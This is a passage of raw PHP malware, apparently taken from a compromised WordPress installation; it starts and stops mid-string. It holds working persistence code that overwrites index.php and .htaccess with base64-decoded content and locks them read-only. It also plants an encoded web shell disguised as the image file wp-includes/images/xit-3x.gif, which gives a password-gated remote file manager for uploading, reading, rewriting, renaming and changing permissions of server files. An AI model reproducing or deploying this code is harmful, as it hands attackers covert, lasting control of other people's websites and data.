SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlof